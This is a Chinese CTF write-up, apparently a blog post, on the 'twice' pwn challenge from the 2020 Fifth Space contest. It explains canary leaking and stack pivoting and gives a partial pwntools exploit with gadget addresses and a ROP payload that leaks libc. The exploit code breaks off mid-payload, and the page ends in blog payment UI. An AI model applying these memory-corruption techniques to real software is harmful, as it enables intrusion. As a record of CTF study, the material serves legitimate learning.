2020第五空间智能安全大赛PWN——twice

0x00背景

这次比赛中的一道pwn题,主要考察了栈迁移和泄露canary。之前没有接触过栈迁移,所以当时没有做出来(好多人都做出来了,捂脸)。
没办法,菜鸡只能赛后复盘。注:虚拟机环境使用的动态库为kali的libc-2.30.so

0x01源码分析

主要代码逻辑如下,main函数之后可以进行两次输入,然后将输入的字符串打印出来。第一次输入可以溢出一个字节,用于泄露canary和栈地址(用于之后的栈迁移),第二次输入可以溢出到返回地址,修改程序流程完成栈迁移,从而执行ROP链。
在这里插入图片描述

0x02 exp构造

需要调用system函数,源码中没有现成的,所以需要泄露libc基址,因此我们要重复进入两次main函数,第一次用来泄露libc基地址,第二次用来执行system("/bin/sh")。每一次的利用,都需要泄露canary和栈地址。
第一次的exp:

puts_plt_addr = 0x4005C0
read_got_addr = 0x601038
pop_rdi = 0x400923
leave = 0x400879
main_addr = 0x40087B

sh.recvuntil('>')
payload = 'a'*88+'\n'
sh.send(payload)
sh.recv(89)
canary = u64('\x00'+sh.recv(7))
success(hex(canary))
new_epb = u64(sh.recvuntil('\n')[:-1].ljust(8,'\x00'))-112
success(hex(new_epb))

sh.recvuntil('>')
payload = p64(0)+p64(pop_rdi)+p64(read_got_addr)+p64(puts_plt_addr)+p64(main_addr)
payload += 'a'
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值